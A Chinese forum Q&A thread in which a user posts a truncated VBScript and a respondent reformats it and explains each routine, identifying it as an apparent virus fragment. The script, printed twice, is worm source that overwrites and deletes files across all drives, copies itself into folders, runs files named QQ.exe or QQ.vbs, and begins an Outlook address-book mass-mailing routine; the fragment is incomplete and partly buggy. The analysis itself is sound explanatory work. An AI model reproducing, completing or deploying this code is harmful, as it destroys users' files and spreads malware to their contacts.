Question

请帮我解释一个VBS

on error resume next
call REGrun
if REGr=true then
call disklist
end if
if DRSdsik=true then
call spreadtoemail
end if
if MAL=true then
call HIDEme(wscript.scriptfullname)
end if
dim REGr,DRSdsik,MAL,HM
Sub ShowFolderList(folderspec)
on error resume next
Dim fs, f, f1, fc
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(folderspec)
Set fc = f.SubFolders
call ShowfileList(folderspec)
For Each f1 in fc
call ShowfileList(f1.path)
call ShowFolderList(f1.path)
Next
End Sub
Sub ShowfileList(folderspec)
on error resume next
Dim fs, f, f1, fc,filepath,self,ap,ext,cop,wz
Set fs = CreateObject("Scripting.FileSystemObject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall
self.close
Set f = fs.GetFolder(folderspec)
Set fc = f.Files
For Each f1 in fc
wz=instrRev(f1.path," \ ")
filepath=mid(f1.path,1,wz)
call copyme(filepath)
if fs.getfilename(f1.path)="QQ.exe" or fs.getfilename(f1.path)="QQ.vbs" then
call EXErun(f1.path)
end if
set ext=fs.GetExtensionName(f1.path)
ext=lcase(ext)
if ext<>"html" and ext<>"htm" and ext<>"asp" and ext<>"aspx" and ext<>"jsp" then
if (fs.GetFileName(f1.path))<>"QQ.exe" and (fs.GetFileName(f1.path))<>"QQ.vbs" then
set ap=fs.opentextfile(f1.path,2,TristateTrue)
ap.write vbscopy
ap.close
set cop=fs.getfile(f1.path)
cop.copy(f1.path & ".vbs")
f1.delete(true)
end if
end if
Next
End Sub
sub disklist()
on error resume next
dim drvs,drv,diskpath,fsg
set fsg=CreateObject("Scripting.FileSystemObject")
set drvs=fsg.drives
DRSdsik=false
for each drv in drvs
if drv.DriveLetter<>"A" and drv.DriveType<>CDRom then
diskpath=drv.DriveLetter & ":\"
call ShowFolderList(diskpath)
end if
if drv.IsReady then
call REMdiskRUN(diskpath)
end if
next
DRSdisk=true
end sub
sub copyme(copypath)
on error resume next
dim fss
set fss=createobject("scripting.filesystemobject")
fss.copyfile wscript.scriptfullname,copypath,true
end sub
sub EXErun(filename)
on error resume next
dim ws,fcx
set fcx=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
if fcx.FileExists(filename) then
ws.run filename
end if
end sub
sub spreadtoemail()
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
MAL=false
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a)
if regv="" then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead)
if regad="" then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject="
顺便修改下空行哈

Answer 1

天。。。这么乱的代码，刚看两三行我就要发狂了。。。。
整理下先

On Error Resume Next
Call REGrun

If REGr = True Then
Call disklist
End If

If DRSdsik = True Then
Call spreadtoemail
End If

If MAL = True Then
Call HIDEme(WScript.scriptfullname)
End If

Dim REGr, DRSdsik, MAL, HM

Sub ShowFolderList(folderspec)
On Error Resume Next
Dim fs, f, f1, fc
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(folderspec)
Set fc = f.SubFolders
Call ShowfileList(folderspec)
For Each f1 In fc
Call ShowfileList(f1.Path)
Call ShowFolderList(f1.Path)
Next
End Sub

Sub ShowfileList(folderspec)
On Error Resume Next
Dim fs, f, f1, fc, filepath, self, ap, ext, cop, wz
Set fs = CreateObject("Scripting.FileSystemObject")
Set self = fso.opentextfile(WScript.scriptfullname, 1)
vbscopy = self.readall
self.Close
Set f = fs.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
wz = InStrRev(f1.Path, " \ ")
filepath = Mid(f1.Path, 1, wz)
Call copyme(filepath)
If fs.GetFileName(f1.Path) = "QQ.exe" Or fs.GetFileName(f1.Path) = "QQ.vbs" Then
Call EXErun(f1.Path)
End If
Set ext = fs.GetExtensionName(f1.Path)
ext = LCase(ext)
If ext <> "html" And ext <> "htm" And ext <> "asp" And ext <> "aspx" And ext <> "jsp" Then
If (fs.GetFileName(f1.Path)) <> "QQ.exe" And (fs.GetFileName(f1.Path)) <> "QQ.vbs" Then
Set ap = fs.opentextfile(f1.Path, 2, TristateTrue)
ap.write vbscopy
ap.Close
Set cop = fs.getfile(f1.Path)
cop.Copy (f1.Path & ".vbs")
f1.Delete (True)
End If
End If
Next
End Sub

Sub disklist()
On Error Resume Next
Dim drvs, drv, diskpath, fsg
Set fsg = CreateObject("Scripting.FileSystemObject")
Set drvs = fsg.drives
DRSdsik = False
For Each drv In drvs
If drv.DriveLetter <> "A" And drv.DriveType <> CDRom Then
diskpath = drv.DriveLetter & ":\"
Call ShowFolderList(diskpath)
End If
If drv.IsReady Then
Call REMdiskRUN(diskpath)
End If
Next
DRSdisk = True
End Sub

Sub copyme(copypath)
On Error Resume Next
Dim fss
Set fss = CreateObject("scripting.filesystemobject")
fss.copyfile WScript.scriptfullname, copypath, True
End Sub

Sub EXErun(filename)
On Error Resume Next
Dim ws, fcx
Set fcx = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
If fcx.FileExists(filename) Then
ws.run filename
End If
End Sub

Sub spreadtoemail()
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
Set regedit = CreateObject("WScript.Shell")
Set out = WScript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
MAL = False
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
regv = regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB" & a)
If regv = "" Then
regv = 1
End If
If (Int(a.AddressEntries.Count) > Int(regv)) Then
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB" & malead)
If regad = "" Then
Set male = out.CreateItem(0)
male.Recipients.Add (malead)
male.Subject = " "

看起来好像是某病毒片段
该脚本开始会执行REGrun （在哪?）
好像缺了很多啊，就看看你给出的几个函数的功能吧

ShowfileList很乱大概的意思是枚举指定目录下所有文件，如果是 "QQ.exe"或"QQ.vbs"就执行,如果文件扩展名不是 "html" "htm" "asp" "aspx" "jsp" （5种常见的网站页面文件）且名称不是 "QQ.exe" "QQ.vbs" （什么逻辑。。。）就把自身的内容写进去,并改文件名为原文件名+.vbs、 删除原文件（天。。简直乱来，把文件破坏完了，想和主机同归于尽啊）,且每次执行都拷贝自身到""（空白）处（？？？）

ShowFolderList是对一目录下（包括子目录）所有文件执行上述操作
disklist 分区列表
copyme 拷贝自身到指定目录
EXErun 运行可执行文件
spreadtoemail 好像是发邮件，估计想通过邮件传播